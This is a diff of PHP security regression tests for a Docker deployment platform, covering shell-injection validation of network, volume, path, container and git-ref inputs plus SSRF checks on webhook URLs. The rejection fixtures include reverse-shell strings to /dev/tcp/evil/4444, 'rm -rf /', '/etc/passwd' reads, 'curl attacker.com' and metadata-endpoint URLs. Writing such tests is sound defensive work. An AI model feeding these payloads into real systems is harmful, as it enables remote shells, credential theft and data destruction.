expect($method->invoke($job))->toBe('latest');
});
+48
View File
@@ -0,0 +1,48 @@
<?php
use App\Models\StandaloneDocker;
use App\Models\SwarmDocker;
it('StandaloneDocker rejects network names with shell metacharacters', function (string $network) {
$model = new StandaloneDocker;
$model->network = $network;
})->with([
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
'pipe injection' => 'net|cat /etc/passwd',
'dollar injection' => 'net$(whoami)',
'backtick injection' => 'net`id`',
'space injection' => 'net work',
])->throws(InvalidArgumentException::class);
it('StandaloneDocker accepts valid network names', function (string $network) {
$model = new StandaloneDocker;
$model->network = $network;
expect($model->network)->toBe($network);
})->with([
'simple' => 'mynetwork',
'with hyphen' => 'my-network',
'with underscore' => 'my_network',
'with dot' => 'my.network',
'alphanumeric' => 'network123',
]);
it('SwarmDocker rejects network names with shell metacharacters', function (string $network) {
$model = new SwarmDocker;
$model->network = $network;
})->with([
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
'pipe injection' => 'net|cat /etc/passwd',
'dollar injection' => 'net$(whoami)',
])->throws(InvalidArgumentException::class);
it('SwarmDocker accepts valid network names', function (string $network) {
$model = new SwarmDocker;
$model->network = $network;
expect($model->network)->toBe($network);
})->with([
'simple' => 'mynetwork',
'with hyphen' => 'my-network',
'with underscore' => 'my_network',
]);
+50
View File
@@ -91,3 +91,53 @@ test('file storage accepts paths with underscores and hyphens', function () {
expect(fn () => validateShellSafePath('/tmp/upload_dir-2024', 'storage path'))
->not->toThrow(Exception::class);
});
// --- Regression tests for GHSA-46hp-7m8g-7622 ---
// These verify that file mount paths (not just directory mounts) are validated,
// and that saveStorageOnServer() validates fs_path before any shell interpolation.
test('file storage rejects command injection in file mount path context', function () {
$maliciousPaths = [
'/app/config$(id)',
'/app/config;whoami',
'/app/config|cat /etc/passwd',
'/app/config`id`',
'/app/config&whoami',
'/app/config>/tmp/pwned',
'/app/config</etc/shadow',
"/app/config\nrm -rf /",
];
foreach ($maliciousPaths as $path) {
expect(fn () => validateShellSafePath($path, 'file storage path'))
->toThrow(Exception::class);
}
});
test('file storage rejects variable substitution in paths', function () {
expect(fn () => validateShellSafePath('/data/${IFS}cat${IFS}/etc/passwd', 'file storage path'))
->toThrow(Exception::class);
});
test('file storage accepts safe file mount paths', function () {
$safePaths = [
'/etc/nginx/nginx.conf',
'/app/.env',
'/data/coolify/services/abc123/config.yml',
'/var/www/html/index.php',
'/opt/app/config/database.json',
];
foreach ($safePaths as $path) {
expect(fn () => validateShellSafePath($path, 'file storage path'))
->not->toThrow(Exception::class);
}
});
test('file storage accepts relative dot-prefixed paths', function () {
expect(fn () => validateShellSafePath('./config/app.yaml', 'storage path'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('./data', 'storage path'))
->not->toThrow(Exception::class);
});
+10 -8
View File
@@ -1,12 +1,14 @@
<?php
use App\Models\Application;
use App\Models\ApplicationSetting;
/**
* Security tests for git ref validation (GHSA-mw5w-2vvh-mgf4).
*
* Ensures that git_commit_sha and related inputs are validated
* to prevent OS command injection via shell metacharacters.
*/
describe('validateGitRef', function () {
test('accepts valid hex commit SHAs', function () {
expect(validateGitRef('abc123def456'))->toBe('abc123def456');
@@ -93,31 +95,31 @@ describe('validateGitRef', function () {
describe('executeInDocker git log escaping', function () {
test('git log command escapes commit SHA to prevent injection', function () {
$maliciousCommit = "HEAD'; id; #";
$command = "cd /workdir && git log -1 ".escapeshellarg($maliciousCommit).' --pretty=%B';
$command = 'cd /workdir && git log -1 '.escapeshellarg($maliciousCommit).' --pretty=%B';
$result = executeInDocker('test-container', $command);
// The malicious payload must not be able to break out of quoting
expect($result)->not->toContain("id;");
expect($result)->not->toContain('id;');
expect($result)->toContain("'HEAD'\\''");
});
});
describe('buildGitCheckoutCommand escaping', function () {
test('checkout command escapes target to prevent injection', function () {
$app = new \App\Models\Application;
$app->forceFill(['uuid' => 'test-uuid']);
$app = new Application;
$app->fill(['uuid' => 'test-uuid']);
$settings = new \App\Models\ApplicationSetting;
$settings = new ApplicationSetting;
$settings->is_git_submodules_enabled = false;
$app->setRelation('settings', $settings);
$method = new \ReflectionMethod($app, 'buildGitCheckoutCommand');
$method = new ReflectionMethod($app, 'buildGitCheckoutCommand');
$result = $method->invoke($app, 'abc123');
expect($result)->toContain("git checkout 'abc123'");
$result = $method->invoke($app, "abc'; id; #");
expect($result)->not->toContain("id;");
expect($result)->not->toContain('id;');
expect($result)->toContain("git checkout 'abc'");
});
});
+17
View File
@@ -0,0 +1,17 @@
<?php
/**
* Architecture tests to prevent use of insecure PRNGs in application code.
*
* mt_rand() and rand() are not cryptographically secure. Use random_int()
* or random_bytes() instead for any security-sensitive context.
*
* @see GHSA-33rh-4c9r-74pf
*/
arch('app code must not use mt_rand')
->expect('App')
->not->toUse(['mt_rand', 'mt_srand']);
arch('app code must not use rand')
->expect('App')
->not->toUse(['rand', 'srand']);
@@ -0,0 +1,76 @@
<?php
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
use App\Models\ApplicationPreview;
use App\Models\ApplicationSetting;
use App\Models\CloudProviderToken;
use App\Models\Environment;
use App\Models\GithubApp;
use App\Models\Project;
use App\Models\ProjectSetting;
use App\Models\ScheduledDatabaseBackup;
use App\Models\ScheduledDatabaseBackupExecution;
use App\Models\ScheduledTask;
use App\Models\ScheduledTaskExecution;
use App\Models\Server;
use App\Models\ServerSetting;
use App\Models\Service;
use App\Models\ServiceApplication;
use App\Models\ServiceDatabase;
use App\Models\StandaloneClickhouse;
use App\Models\StandaloneDocker;
use App\Models\StandaloneDragonfly;
use App\Models\StandaloneKeydb;
use App\Models\StandaloneMariadb;
use App\Models\StandaloneMongodb;
use App\Models\StandaloneMysql;
use App\Models\StandalonePostgresql;
use App\Models\StandaloneRedis;
use App\Models\Subscription;
use App\Models\SwarmDocker;
use App\Models\Tag;
use App\Models\User;
it('keeps required mass-assignment attributes fillable for internal create flows', function (string $modelClass, array $expectedAttributes) {
$model = new $modelClass;
expect($model->getFillable())->toContain(...$expectedAttributes);
})->with([
// Relationship/ownership keys
[CloudProviderToken::class, ['team_id']],
[Tag::class, ['team_id']],
[Subscription::class, ['team_id']],
[ScheduledTaskExecution::class, ['scheduled_task_id']],
[ScheduledDatabaseBackupExecution::class, ['uuid', 'scheduled_database_backup_id']],
[ScheduledDatabaseBackup::class, ['uuid', 'team_id']],
[ScheduledTask::class, ['uuid', 'team_id', 'application_id', 'service_id']],
[ServiceDatabase::class, ['service_id']],
[ServiceApplication::class, ['service_id']],
[ApplicationDeploymentQueue::class, ['docker_registry_image_tag']],
[Project::class, ['team_id', 'uuid']],
[Environment::class, ['project_id', 'uuid']],
[ProjectSetting::class, ['project_id']],
[ApplicationSetting::class, ['application_id']],
[ServerSetting::class, ['server_id']],
[SwarmDocker::class, ['server_id']],
[StandaloneDocker::class, ['server_id']],
[User::class, ['pending_email', 'email_change_code', 'email_change_code_expires_at']],
[Server::class, ['ip_previous']],
[GithubApp::class, ['team_id', 'private_key_id']],
// Application/Service resource keys (including uuid for clone flows)
[Application::class, ['uuid', 'environment_id', 'destination_id', 'destination_type', 'source_id', 'source_type', 'repository_project_id', 'private_key_id']],
[ApplicationPreview::class, ['uuid', 'application_id']],
[Service::class, ['uuid', 'environment_id', 'server_id', 'destination_id', 'destination_type']],
// Standalone database resource keys (including uuid for clone flows)
[StandalonePostgresql::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
[StandaloneMysql::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
[StandaloneMariadb::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
[StandaloneMongodb::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
[StandaloneRedis::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
[StandaloneKeydb::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
[StandaloneDragonfly::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
[StandaloneClickhouse::class, ['uuid', 'destination_type', 'destination_id', 'environment_id']],
]);
@@ -0,0 +1,98 @@
<?php
/**
* Persistent Volume Security Tests
*
* Tests to ensure persistent volume names are validated against command injection
* and that shell commands properly escape volume names.
*
* Related Advisory: GHSA-mh8x-fppq-cp77
* Related Files:
* - app/Models/LocalPersistentVolume.php
* - app/Support/ValidationPatterns.php
* - app/Livewire/Project/Service/Storage.php
* - app/Actions/Service/DeleteService.php
*/
use App\Support\ValidationPatterns;
// --- Volume Name Pattern Tests ---
it('accepts valid Docker volume names', function (string $name) {
expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(1);
})->with([
'simple name' => 'myvolume',
'with hyphens' => 'my-volume',
'with underscores' => 'my_volume',
'with dots' => 'my.volume',
'with uuid prefix' => 'abc123-postgres-data',
'numeric start' => '1volume',
'complex name' => 'app123-my_service.data-v2',
]);
it('rejects volume names with shell metacharacters', function (string $name) {
expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(0);
})->with([
'semicolon injection' => 'vol; rm -rf /',
'pipe injection' => 'vol | cat /etc/passwd',
'ampersand injection' => 'vol && whoami',
'backtick injection' => 'vol`id`',
'dollar command substitution' => 'vol$(whoami)',
'redirect injection' => 'vol > /tmp/evil',
'space in name' => 'my volume',
'slash in name' => 'my/volume',
'newline injection' => "vol\nwhoami",
'starts with hyphen' => '-volume',
'starts with dot' => '.volume',
]);
// --- escapeshellarg Defense Tests ---
it('escapeshellarg neutralizes injection in docker volume rm command', function (string $maliciousName) {
$command = 'docker volume rm -f '.escapeshellarg($maliciousName);
// The command should contain the name as a single quoted argument,
// preventing shell interpretation of metacharacters
expect($command)->not->toContain('; ')
->not->toContain('| ')
->not->toContain('&& ')
->not->toContain('`')
->toStartWith('docker volume rm -f ');
})->with([
'semicolon' => 'vol; rm -rf /',
'pipe' => 'vol | cat /etc/passwd',
'ampersand' => 'vol && whoami',
'backtick' => 'vol`id`',
'command substitution' => 'vol$(whoami)',
'reverse shell' => 'vol$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)',
]);
// --- volumeNameRules Tests ---
it('generates volumeNameRules with correct defaults', function () {
$rules = ValidationPatterns::volumeNameRules();
expect($rules)->toContain('required')
->toContain('string')
->toContain('max:255')
->toContain('regex:'.ValidationPatterns::VOLUME_NAME_PATTERN);
});
it('generates nullable volumeNameRules when not required', function () {
$rules = ValidationPatterns::volumeNameRules(required: false);
expect($rules)->toContain('nullable')
->not->toContain('required');
});
it('generates correct volumeNameMessages', function () {
$messages = ValidationPatterns::volumeNameMessages();
expect($messages)->toHaveKey('name.regex');
});
it('generates volumeNameMessages with custom field name', function () {
$messages = ValidationPatterns::volumeNameMessages('volume_name');
expect($messages)->toHaveKey('volume_name.regex');
});
+75
View File
@@ -0,0 +1,75 @@
<?php
use App\Rules\SafeExternalUrl;
use Illuminate\Support\Facades\Validator;
use Tests\TestCase;
uses(TestCase::class);
it('accepts valid public URLs', function () {
$rule = new SafeExternalUrl;
$validUrls = [
'https://api.github.com',
'https://github.example.com/api/v3',
'https://example.com',
'http://example.com',
];
foreach ($validUrls as $url) {
$validator = Validator::make(['url' => $url], ['url' => $rule]);
expect($validator->passes())->toBeTrue("Expected valid: {$url}");
}
});
it('rejects private IPv4 addresses', function (string $url) {
$rule = new SafeExternalUrl;
$validator = Validator::make(['url' => $url], ['url' => $rule]);
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
})->with([
'loopback' => 'http://127.0.0.1',
'loopback with port' => 'http://127.0.0.1:6379',
'10.x range' => 'http://10.0.0.1',
'172.16.x range' => 'http://172.16.0.1',
'192.168.x range' => 'http://192.168.1.1',
]);
it('rejects cloud metadata IP', function () {
$rule = new SafeExternalUrl;
$validator = Validator::make(['url' => 'http://169.254.169.254'], ['url' => $rule]);
expect($validator->fails())->toBeTrue('Expected rejection: cloud metadata IP');
});
it('rejects localhost and internal hostnames', function (string $url) {
$rule = new SafeExternalUrl;
$validator = Validator::make(['url' => $url], ['url' => $rule]);
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
})->with([
'localhost' => 'http://localhost',
'localhost with port' => 'http://localhost:8080',
'zero address' => 'http://0.0.0.0',
'.local domain' => 'http://myservice.local',
'.internal domain' => 'http://myservice.internal',
]);
it('rejects non-URL strings', function (string $value) {
$rule = new SafeExternalUrl;
$validator = Validator::make(['url' => $value], ['url' => $rule]);
expect($validator->fails())->toBeTrue("Expected rejection: {$value}");
})->with([
'plain string' => 'not-a-url',
'ftp scheme' => 'ftp://example.com',
'javascript scheme' => 'javascript:alert(1)',
'no scheme' => 'example.com',
]);
it('rejects URLs with IPv6 loopback', function () {
$rule = new SafeExternalUrl;
$validator = Validator::make(['url' => 'http://[::1]'], ['url' => $rule]);
expect($validator->fails())->toBeTrue('Expected rejection: IPv6 loopback');
});
+90
View File
@@ -0,0 +1,90 @@
<?php
use App\Rules\SafeWebhookUrl;
use Illuminate\Support\Facades\Validator;
use Tests\TestCase;
uses(TestCase::class);
it('accepts valid public URLs', function () {
$rule = new SafeWebhookUrl;
$validUrls = [
'https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXX',
'https://discord.com/api/webhooks/123456/abcdef',
'https://example.com/webhook',
'http://example.com/webhook',
];
foreach ($validUrls as $url) {
$validator = Validator::make(['url' => $url], ['url' => $rule]);
expect($validator->passes())->toBeTrue("Expected valid: {$url}");
}
});
it('accepts private network IPs for self-hosted deployments', function (string $url) {
$rule = new SafeWebhookUrl;
$validator = Validator::make(['url' => $url], ['url' => $rule]);
expect($validator->passes())->toBeTrue("Expected valid (private IP): {$url}");
})->with([
'10.x range' => 'http://10.0.0.5/webhook',
'172.16.x range' => 'http://172.16.0.1:8080/hook',
'192.168.x range' => 'http://192.168.1.50:8080/webhook',
]);
it('rejects loopback addresses', function (string $url) {
$rule = new SafeWebhookUrl;
$validator = Validator::make(['url' => $url], ['url' => $rule]);
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
})->with([
'loopback' => 'http://127.0.0.1',
'loopback with port' => 'http://127.0.0.1:6379',
'loopback /8 range' => 'http://127.0.0.2',
'zero address' => 'http://0.0.0.0',
]);
it('rejects cloud metadata IP', function () {
$rule = new SafeWebhookUrl;
$validator = Validator::make(['url' => 'http://169.254.169.254/latest/meta-data/'], ['url' => $rule]);
expect($validator->fails())->toBeTrue('Expected rejection: cloud metadata IP');
});
it('rejects link-local range', function () {
$rule = new SafeWebhookUrl;
$validator = Validator::make(['url' => 'http://169.254.0.1'], ['url' => $rule]);
expect($validator->fails())->toBeTrue('Expected rejection: link-local IP');
});
it('rejects localhost and internal hostnames', function (string $url) {
$rule = new SafeWebhookUrl;
$validator = Validator::make(['url' => $url], ['url' => $rule]);
expect($validator->fails())->toBeTrue("Expected rejection: {$url}");
})->with([
'localhost' => 'http://localhost',
'localhost with port' => 'http://localhost:8080',
'.internal domain' => 'http://myservice.internal',
]);
it('rejects non-http schemes', function (string $value) {
$rule = new SafeWebhookUrl;
$validator = Validator::make(['url' => $value], ['url' => $rule]);
expect($validator->fails())->toBeTrue("Expected rejection: {$value}");
})->with([
'ftp scheme' => 'ftp://example.com',
'javascript scheme' => 'javascript:alert(1)',
'file scheme' => 'file:///etc/passwd',
'no scheme' => 'example.com',
]);
it('rejects IPv6 loopback', function () {
$rule = new SafeWebhookUrl;
$validator = Validator::make(['url' => 'http://[::1]'], ['url' => $rule]);
expect($validator->fails())->toBeTrue('Expected rejection: IPv6 loopback');
});
+77
View File
@@ -0,0 +1,77 @@
<?php
use App\Jobs\SendWebhookJob;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
use Tests\TestCase;
uses(TestCase::class);
it('sends webhook to valid URLs', function () {
Http::fake(['*' => Http::response('ok', 200)]);
$job = new SendWebhookJob(
payload: ['event' => 'test'],
webhookUrl: 'https://example.com/webhook'
);
$job->handle();
Http::assertSent(function ($request) {
return $request->url() === 'https://example.com/webhook';
});
});
it('blocks webhook to loopback address', function () {
Http::fake();
Log::shouldReceive('warning')
->once()
->withArgs(function ($message) {
return str_contains($message, 'blocked unsafe webhook URL');
});
$job = new SendWebhookJob(
payload: ['event' => 'test'],
webhookUrl: 'http://127.0.0.1/admin'
);
$job->handle();
Http::assertNothingSent();
});
it('blocks webhook to cloud metadata endpoint', function () {
Http::fake();
Log::shouldReceive('warning')
->once()
->withArgs(function ($message) {
return str_contains($message, 'blocked unsafe webhook URL');
});
$job = new SendWebhookJob(
payload: ['event' => 'test'],
webhookUrl: 'http://169.254.169.254/latest/meta-data/'
);
$job->handle();
Http::assertNothingSent();
});
it('blocks webhook to localhost', function () {
Http::fake();
Log::shouldReceive('warning')
->once()
->withArgs(function ($message) {
return str_contains($message, 'blocked unsafe webhook URL');
});
$job = new SendWebhookJob(
payload: ['event' => 'test'],
webhookUrl: 'http://localhost/internal-api'
);
$job->handle();
Http::assertNothingSent();
});
+175
View File
@@ -0,0 +1,175 @@
<?php
use App\Jobs\ServerCheckJob;
use App\Jobs\ServerConnectionCheckJob;
use App\Jobs\ServerManagerJob;
use App\Models\Server;
use Illuminate\Queue\TimeoutExceededException;
use Illuminate\Support\Carbon;
use Tests\TestCase;
uses(TestCase::class);
beforeEach(function () {
Carbon::setTestNow('2025-01-15 12:00:00');
});
afterEach(function () {
Mockery::close();
Carbon::setTestNow();
});
describe('getBackoffCycleInterval', function () {
it('returns correct intervals for unreachable counts', function () {
$job = new ServerManagerJob;
$method = new ReflectionMethod($job, 'getBackoffCycleInterval');
expect($method->invoke($job, 0))->toBe(1)
->and($method->invoke($job, 1))->toBe(1)
->and($method->invoke($job, 2))->toBe(1)
->and($method->invoke($job, 3))->toBe(3)
->and($method->invoke($job, 5))->toBe(3)
->and($method->invoke($job, 6))->toBe(6)
->and($method->invoke($job, 11))->toBe(6)
->and($method->invoke($job, 12))->toBe(12)
->and($method->invoke($job, 100))->toBe(12);
});
});
describe('shouldSkipDueToBackoff', function () {
it('never skips servers with unreachable_count <= 2', function () {
$job = new ServerManagerJob;
$executionTimeProp = new ReflectionProperty($job, 'executionTime');
$method = new ReflectionMethod($job, 'shouldSkipDueToBackoff');
$server = Mockery::mock(Server::class)->makePartial();
$server->id = 42;
foreach ([0, 1, 2] as $count) {
$server->unreachable_count = $count;
// Test across all minutes in an hour
for ($minute = 0; $minute < 60; $minute++) {
Carbon::setTestNow("2025-01-15 12:{$minute}:00");
$executionTimeProp->setValue($job, Carbon::now());
expect($method->invoke($job, $server))->toBeFalse(
"Should not skip with unreachable_count={$count} at minute={$minute}"
);
}
}
});
it('skips most cycles for servers with high unreachable count', function () {
$job = new ServerManagerJob;
$executionTimeProp = new ReflectionProperty($job, 'executionTime');
$method = new ReflectionMethod($job, 'shouldSkipDueToBackoff');
$server = Mockery::mock(Server::class)->makePartial();
$server->id = 42;
$server->unreachable_count = 15; // interval = 12
$skipCount = 0;
$allowCount = 0;
for ($minute = 0; $minute < 60; $minute++) {
Carbon::setTestNow("2025-01-15 12:{$minute}:00");
$executionTimeProp->setValue($job, Carbon::now());
if ($method->invoke($job, $server)) {
$skipCount++;
} else {
$allowCount++;
}
}
// With interval=12, most cycles should be skipped but at least one should be allowed
expect($allowCount)->toBeGreaterThan(0)
->and($skipCount)->toBeGreaterThan($allowCount);
});
it('distributes checks across servers using server ID hash', function () {
$job = new ServerManagerJob;
$executionTimeProp = new ReflectionProperty($job, 'executionTime');
$method = new ReflectionMethod($job, 'shouldSkipDueToBackoff');
// Two servers with same unreachable_count but different IDs
$server1 = Mockery::mock(Server::class)->makePartial();
$server1->id = 1;
$server1->unreachable_count = 5; // interval = 3
$server2 = Mockery::mock(Server::class)->makePartial();
$server2->id = 2;
$server2->unreachable_count = 5; // interval = 3
$server1AllowedMinutes = [];
$server2AllowedMinutes = [];
for ($minute = 0; $minute < 60; $minute++) {
Carbon::setTestNow("2025-01-15 12:{$minute}:00");
$executionTimeProp->setValue($job, Carbon::now());
if (! $method->invoke($job, $server1)) {
$server1AllowedMinutes[] = $minute;
}
if (! $method->invoke($job, $server2)) {
$server2AllowedMinutes[] = $minute;
}
}
// Both servers should have some allowed minutes, but not all the same
expect($server1AllowedMinutes)->not->toBeEmpty()
->and($server2AllowedMinutes)->not->toBeEmpty()
->and($server1AllowedMinutes)->not->toBe($server2AllowedMinutes);
});
});
describe('ServerConnectionCheckJob unreachable_count', function () {
it('increments unreachable_count on timeout', function () {
$settings = Mockery::mock();
$settings->shouldReceive('update')
->with(['is_reachable' => false, 'is_usable' => false])
->once();
$server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
$server->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
$server->shouldReceive('increment')->with('unreachable_count')->once();
$server->id = 1;
$server->name = 'test-server';
$job = new ServerConnectionCheckJob($server);
$job->failed(new TimeoutExceededException);
});
it('does not increment unreachable_count for non-timeout failures', function () {
$server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
$server->shouldNotReceive('increment');
$server->id = 1;
$server->name = 'test-server';
$job = new ServerConnectionCheckJob($server);
$job->failed(new RuntimeException('Some other error'));
});
});
describe('ServerCheckJob unreachable_count', function () {
it('increments unreachable_count on timeout', function () {
$server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
$server->shouldReceive('increment')->with('unreachable_count')->once();
$server->id = 1;
$server->name = 'test-server';
$job = new ServerCheckJob($server);
$job->failed(new TimeoutExceededException);
});
it('does not increment unreachable_count for non-timeout failures', function () {
$server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
$server->shouldNotReceive('increment');
$server->id = 1;
$server->name = 'test-server';
$job = new ServerCheckJob($server);
$job->failed(new RuntimeException('Some other error'));
});
});
@@ -0,0 +1,20 @@
<?php
use App\Models\Server;
it('includes a uuid in standalone docker bootstrap attributes for the root server path', function () {
$server = new Server;
$server->id = 0;
$attributes = $server->defaultStandaloneDockerAttributes(id: 0);
expect($attributes)
->toMatchArray([
'id' => 0,
'name' => 'coolify',
'network' => 'coolify',
'server_id' => 0,
])
->and($attributes['uuid'])->toBeString()
->and($attributes['uuid'])->not->toBe('');
});
+10 -7
View File
@@ -7,22 +7,24 @@
* These tests verify the fix for the issue where changing an image in a
* docker-compose file would create a new service instead of updating the existing one.
*/
it('ensures service parser does not include image in firstOrCreate query', function () {
it('ensures service parser does not include image in trusted service creation query', function () {
// Read the serviceParser function from parsers.php
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Check that firstOrCreate is called with only name and service_id
// and NOT with image parameter in the ServiceApplication presave loop
// Check that trusted creation only uses name and service_id
// and does not include image in the creation payload
expect($parsersFile)
->toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);")
->not->toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);");
->toContain("\$databaseFound = ServiceDatabase::where('name', \$serviceName)->where('service_id', \$resource->id)->first();")
->toContain("\$applicationFound = ServiceApplication::where('name', \$serviceName)->where('service_id', \$resource->id)->first();")
->toContain("create([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);")
->not->toContain("create([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);");
});
it('ensures service parser updates image after finding or creating service', function () {
// Read the serviceParser function from parsers.php
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Check that image update logic exists after firstOrCreate
// Check that image update logic exists after the trusted create/find branch
expect($parsersFile)
->toContain('// Update image if it changed')
->toContain('if ($savedService->image !== $image) {')
@@ -39,7 +41,8 @@ it('ensures parseDockerComposeFile does not create duplicates on null savedServi
// The new code checks for null within the else block and creates only if needed
expect($sharedFile)
->toContain('if (is_null($savedService)) {')
->toContain('$savedService = ServiceDatabase::create([');
->toContain('$savedService = ServiceDatabase::create([')
->toContain('$savedService = ServiceApplication::create([');
});
it('verifies image update logic is present in parseDockerComposeFile', function () {
@@ -0,0 +1,28 @@
<?php
use App\Support\ValidationPatterns;
it('rejects container IDs with command injection characters', function (string $id) {
expect(ValidationPatterns::isValidContainerName($id))->toBeFalse();
})->with([
'semicolon injection' => 'x; id > /tmp/pwned',
'pipe injection' => 'x | cat /etc/passwd',
'command substitution backtick' => 'x`whoami`',
'command substitution dollar' => 'x$(whoami)',
'ampersand background' => 'x & rm -rf /',
'double ampersand' => 'x && curl attacker.com',
'newline injection' => "x\nid",
'space injection' => 'x id',
'redirect output' => 'x > /tmp/pwned',
'redirect input' => 'x < /etc/passwd',
]);
it('accepts valid Docker container IDs', function (string $id) {
expect(ValidationPatterns::isValidContainerName($id))->toBeTrue();
})->with([
'short hex id' => 'abc123def456',
'full sha256 id' => 'a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2',
'container name' => 'my-container',
'name with dots' => 'my.container.name',
'name with underscores' => 'my_container_name',
]);
+50
View File
@@ -80,3 +80,53 @@ it('falls back to random name when repo produces empty name', function () {
expect(mb_strlen($name))->toBeGreaterThanOrEqual(3)
->and(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1);
});
it('accepts valid Docker network names', function (string $network) {
expect(ValidationPatterns::isValidDockerNetwork($network))->toBeTrue();
})->with([
'simple name' => 'mynetwork',
'with hyphen' => 'my-network',
'with underscore' => 'my_network',
'with dot' => 'my.network',
'cuid2 format' => 'ck8s2z1x0000001mhg3f9d0g1',
'alphanumeric' => 'network123',
'starts with number' => '1network',
'complex valid' => 'coolify-proxy.net_2',
]);
it('rejects Docker network names with shell metacharacters', function (string $network) {
expect(ValidationPatterns::isValidDockerNetwork($network))->toBeFalse();
})->with([
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
'pipe injection' => 'net|cat /etc/passwd',
'dollar injection' => 'net$(whoami)',
'backtick injection' => 'net`id`',
'ampersand injection' => 'net&rm -rf /',
'space' => 'net work',
'newline' => "net\nwork",
'starts with dot' => '.network',
'starts with hyphen' => '-network',
'slash' => 'net/work',
'backslash' => 'net\\work',
'empty string' => '',
'single quotes' => "net'work",
'double quotes' => 'net"work',
'greater than' => 'net>work',
'less than' => 'net<work',
]);
it('generates dockerNetworkRules with correct defaults', function () {
$rules = ValidationPatterns::dockerNetworkRules();
expect($rules)->toContain('required')
->toContain('string')
->toContain('max:255')
->toContain('regex:'.ValidationPatterns::DOCKER_NETWORK_PATTERN);
});
it('generates nullable dockerNetworkRules when not required', function () {
$rules = ValidationPatterns::dockerNetworkRules(required: false);
expect($rules)->toContain('nullable')
->not->toContain('required');
});